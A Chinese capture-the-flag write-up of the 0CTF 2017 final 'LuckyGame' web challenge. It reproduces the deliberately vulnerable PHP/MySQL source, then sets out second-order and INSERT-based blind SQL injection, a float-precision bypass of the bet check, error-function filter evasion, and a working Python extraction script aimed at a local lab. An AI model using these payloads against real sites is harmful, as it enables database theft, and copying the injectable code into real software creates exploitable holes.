0CTF(TCTF)-2017-final Web LuckyGame Writeup

栏目: CSS · 发布时间: 6年前

内容简介:0CTF(TCTF)-2017-final Web LuckyGame Writeup

觉得这道题非常有意思,质量很高,当时比赛期间没有做出来,所以赛后复现了一下。这道题其实考点都很普通,但是组合起来难度非常大,个人认为是一道非常棒的题目。

源码

题目描述如下:

0CTF(TCTF)-2017-final Web LuckyGame Writeup

题目用的 php7mysql5.7 。 题目的源码很短,两百多行只有,直接贴出来源码如下:

<?php session_start(); ?>
<!DOCTYPE html>
<html>
<head>
    <title>Lucky Game</title>
    <meta charset="utf-8">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway:200">
    <link href="https://fonts.googleapis.com/css?family=Noto+Sans" rel="stylesheet">
    <link rel="stylesheet" href="https://unpkg.com/purecss@0.6.2/build/pure-min.css" integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://purecss.io/combo/1.18.13?/css/main-grid.css&/css/main.css&/css/menus.css&/css/rainbow/baby-blue.css">
    <style>
    .header{font-family: 'Noto Sans', sans-serif;}
    .header h1{color: rgb(202, 60, 60);}
    .button-error {background: rgb(202, 60, 60);}
    .button-success {background: rgb(28, 184, 65);}
    </style>
</head>
<body>
<div id="layout">
<div id="menu">
    <div class="pure-menu">
        <a class="pure-menu-heading" href="#">TCTF</a>
    </div>
</div>
<div id="main">
    <div class="header">
        <h1>幸运数字</h1>
        <h2>Shall we play a "lucky" game?</h2>
    </div>
<div class="content">
<?php

if (!$link=mysqli_connect('localhost', "root", "1")) die('Connection error');
if (!mysqli_select_db($link,'test')) die('Database error');

$tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()";
$cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()";
$query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT);
$tbls_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
$query = mysqli_query($link,$cols,MYSQLI_USE_RESULT);
$cols_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);


# CREATE TABLE users(id int NOT NULL,username varchar(24),password varchar(32),points int,UNIQUE KEY(username));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));
foreach($_POST as $k => $v){
    if(!empty($v) && is_string($v))
        $_POST[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_POST[$k]);
}

foreach($_GET as $k => $v){
    if(!empty($v) && is_string($v))
        $_GET[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_GET[$k]);
}


function filter($s){
    global $tbls_name,$cols_name;
    $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
    if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
    return $s;
}

function register($username,$password){
    global $link;
    $q = sprintf("INSERT INTO users VALUES (id+1,'%s',md5('%s'),10)",
        filter($username),filter($password));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    return TRUE;
}

function login($username,$password){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')",
        filter($username),filter($password));

    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    if(count($result)>0){
        $_SESSION['id'] = $result['id'];
        $_SESSION['user'] = $result['username'];
        return TRUE;
    } else {
        unset($_SESSION['id'],$_SESSION['user']);
        return FALSE;
    }
}

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    #echo $q;
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

function update_point($p){
    global $link;
    $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
        $p,$_SESSION['id']);

    if(!$query = mysqli_query($link,$q)) return FALSE;
    if(!user_log("Update ".$p)) return FALSE;
    return TRUE;
}

function my_point(){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s'",
        filter($_SESSION['user']));
    //echo $q;
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    return (int)($result['points']);
}

switch(@$_GET['action']){
    case 'register':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            if(!register($_POST['user'],$_POST['pass']))
                die("<aside>Something went wrong!</aside>");
        break;
    case 'login':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            login($_POST['user'],$_POST['pass']);
        break;
    case 'logout':
        unset($_SESSION['user'],$_SESSION['id']);
        break;
    default:
        break;
}

if(empty($_SESSION['user'])){
    echo <<<EOF
        <form action="?action=register" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username" />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary">Register</button>
            </fieldset>
        </form>

        <form action="?action=login" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username"  />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary button-success">Login</button>
            </fieldset>
        </form>
EOF;
    die();
}

$points = my_point();

if($points == 1337){
    user_log('winner');
    echo "<h3>Well played, we will give you a reward soon.</h3>";
}
#var_dump(mysqli_fetch_array(mysqli_query($link,"select @c",MYSQLI_USE_RESULT)));
echo <<<EOF
    <h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a></h1>
    <h2>You got {$points} points</h2>
    <form method=GET class="grid-panel pure-form-aligned pure-form">
                    <div class="bet-control pure-control-group">
                        <label for="bet-input">
                            Your bet
                        </label>
                        <input name="bet" id="bet-input" data-content="bet-input"
                               type="number" min="0" max="16" value=1>

                    </div>

                    <div class="guess-control pure-control-group">
                        <label for="guess-input">
                            Your guess
                        </label>
                        <input name="guess" id="guess-input" data-content='guess-input'
                               type="number" min="0" value=1>
                    </div>
        <button type="submit" class="pure-button pure-button-primary button-error">Place</button>
    </form>

EOF;

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
    $number = rand()%8;
    echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
    if( $number == $_REQUEST['guess'] ){
        echo "You won!";
        if(!update_point($_REQUEST['bet']))
            return;
    } else {
        echo "You lost :(";
        if(!update_point(-$_REQUEST['bet']))
            return;
    }
    echo "</aside>";
}

mysqli_close($link);
?>

</div>
</div>
</div>
</body>
</html>

寻找注入点

由于源代码比较少,而且与数据库的交互语句就那么几个地方,通读之后应该能够比较容易就能找到两个注入点

注入点1

用户注册的时候如下:

0CTF(TCTF)-2017-final Web LuckyGame Writeup

密码被MD5了所以没办法搞,用户名被过滤了不能直接注入。 但是我们看在登陆的时候会调用 my_point() 函数

0CTF(TCTF)-2017-final Web LuckyGame Writeup

函数直接把 session 里面的 user 带入查询,但是这个 sessionuser 来源直接是数据库数据。在 login 函数里面赋的值。所以 username 存在一个二次注入。 尝试一下。如下:

0CTF(TCTF)-2017-final Web LuckyGame Writeup

登陆之后发现我们的分数变成了999分

0CTF(TCTF)-2017-final Web LuckyGame Writeup

但是问题来了,我们观察代码中关于数据库结构的注释可以知道username的最长为24。

所以这里这个点很难直接去动密码的手。

注入点2

总共就几个数据库交互点。我们看下面这部分代码

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    echo $q;
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

function update_point($p){
    global $link;
    $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
        $p,$_SESSION['id']);
    //echo $q;
    if(!$query = mysqli_query($link,$q)) return FALSE;
    if(!user_log("Update ".$p)) return FALSE;
    return TRUE;
}

首先看 update_point 函数,发现其中格式化的时候是 %d ,所以没法儿注入,但是发现它调用了 user_log 函数,而且直接把参数 $p 传递给了 user_log ,而 user_log 里面就是 insert 语句,而且格式化参数是 %s ,所以如果 update_point$p 可控就有一个insert的注入。

我们看看哪儿调用了 update_point ,代码最后

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
    $number = rand()%8;
    echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
    if( $number == $_REQUEST['guess'] ){
        echo "You won!";
        if(!update_point($_REQUEST['bet']))
            return;
    } else {
        echo "You lost :(";
        if(!update_point(-$_REQUEST['bet']))
            return;
    }
    echo "</aside>";
}

当赌赢了和输了都会调用,而且参数就是我们可控的,但是输了的时候在调用 update_point 会在我们的输入前面加上负号无法利用,所以赢了就可以。 但是我们还需要注意我们输入的 bet 要通过这个判断 if($_REQUEST['bet'] > $points) die("What?! you're cheater!"); ,这一点后续利用的时候再进行讨论。

分析

我们再分析构造利用之前,需要看看过滤情况。最开始有一个全局的过滤,但是全局过滤只过滤了 $_POST,$_GET ,而后续获取变量值的时候用的是 $_REQUEST ,所以最开始的全局过滤没用的。

所以来直接看看这个过滤代码。

function filter($s){
    global $tbls_name,$cols_name;
    $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
    if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
    return $s;
}

过滤了一些延迟函数,和一部分报错函数(注意题目 mysql 版本5.7,报错函数多得是,这点过滤根本不足为惧),还有最关键就是过滤了含表名列名的输入参数。这是最关键的。也就是说我们需要在不使用表名列名的情况下搞出管理员密码。

但是我们现在可以利用的两个注入点,一个被长度限制在24,所以单独依靠第一个username的二次注入是没办法直接搞定的。

另一个是insert语句,只能用盲注,而且时间函数被过滤了也就是只能用bool盲注。但是insert一般都是时间盲注,本身不存在bool盲注,但是题目帮我们设置好了。

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    echo $q;
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

看看这里,一旦这个语句执行没有返回,即执行报错,就会return一个false。而这样代码最后的

0CTF(TCTF)-2017-final Web LuckyGame Writeup

这部分html标签就会出不来,所以这个就是二分点。我们可以控制让它报错或是不报错,从而根据返回值来判断。

组合利用

由于无法在输入中使用含表名和列名的字符串,所以我们可以利用临时变量,这一点确实没有想到。 我们可以看到再最后才有一个关闭数据库连接。在登陆之后每次访问页面都会调用一次 my_point 函数,就是上面分析的第一个注入点的地方,所以我们在这里注册一个这样子的用户名 admin' into @a,@b,@c,@d# ,

这样每次访问页面就会将 user 中的admin那一列值存入四个临时变量,而此时我们可以去触发insert盲注来进行爆破,

我们利用的就是mysql中 and 的特性,先看下面的例子

mysql> select 1 from users where 1 and ST_LatFromGeoHash(version());
ERROR 1411 (HY000): Incorrect geohash value: '5.7.18-0ubuntu0.16.04.1' for function ST_LATFROMGEOHASH
mysql> select 1 from users where 0 and ST_LatFromGeoHash(version());
Empty set (0.00 sec)

ST_LatFromGeoHash 是mysql5.7以上可以用于报错的函数。这里对于and的前后两个条件来说,如果前面的条件为0,那么它就不会执行后面的条件语句了。因为最后结果肯定是0,而前面如果是1就会执行后面的语句,所以我们可以通过这样子来控制insert 报错,一旦报错返回的html文档就是不完全的,所以可以根据这个判断结果。

例如我执行下述两个语句

http://127.0.0.1:7000/?guess=1&bet=1e-324' and( (substring(@c,1,1)>'z') and (ST_LatFromGeoHash(version())) )or'
http://127.0.0.1:7000/?guess=1&bet=1e-324' and( (substring(@c,1,1)>'a') and (ST_LatFromGeoHash(version())) )or'

语句一返回如下:

0CTF(TCTF)-2017-final Web LuckyGame Writeup

语句二返回如下:

0CTF(TCTF)-2017-final Web LuckyGame Writeup

所以可以开始盲注了。

在这之前再看看我们前面的构造为啥是 1e-324 ,在上面分析过我们需要绕过

if($_REQUEST['bet'] > $points) die("What?! you're cheater!");

这个判断。 由于我们用户名的设置,所以我们 $point 是0,所以我们需要输入的值要小于0。 这里用了一个 php 精度的trick。e是科学计数法的表示,实际 1eX 代表 1*(10^X)

1e-1>0
1e-2>0
....
1e-323>0
1e-324<0
1e-325<0
....

所以我们就可以绕过这个判断。

poc

最后编写脚本如下:

import requests
r=requests.session()
url="http://127.0.0.1:7000/"
payload=url+"?guess=1&bet=1e-324' and((substring(@c,%d,1)>'%s')and(ST_LatFromGeoHash(version())))or'"

data={"user":"admin' into @a,@b,@c,@d#","pass":"1"}
r.post(url+"?action=login",data=data)

ans=""
for i in xrange(1,100):
    start=1
    end=128
    while start<end:
        mid=(start+end)/2
        content=r.get(payload%(i,chr(mid))).content
        while "You won!" not in content:
            content=r.get(payload%(i,chr(mid))).content
        if "</html>" in content:
            end=mid
        else:
            start=mid+1
    ans+=chr(start)
    print ans

后记

复现的时候,我们需要注意,mysql5.7以上默认是开启了 STRICT_TRANS_TABLES ,而做这道题我们如果开启这个就没办法做了。

另外就是报错函数,除了上面我使用的以外,我们还可以选择很多其他报错函数也能绕过过滤。 下面是比较通用的,5.1以上就能用的:

geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()

下面是5.7以上版本才有的

ST_LatFromGeoHash()
ST_LongFromGeoHash()
GTID_SUBSET()
GTID_SUBTRACT()
ST_PointFromGeoHash()

当然不一定要用这几个报错函数,也可以构造一些语句使insert报错也可以。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

An Introduction to the Analysis of Algorithms

An Introduction to the Analysis of Algorithms

Robert Sedgewick、Philippe Flajolet / Addison-Wesley Professional / 1995-12-10 / CAD 67.99

This book is a thorough overview of the primary techniques and models used in the mathematical analysis of algorithms. The first half of the book draws upon classical mathematical material from discre......一起来看看 《An Introduction to the Analysis of Algorithms》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

URL 编码/解码
URL 编码/解码

URL 编码/解码

html转js在线工具
html转js在线工具

html转js在线工具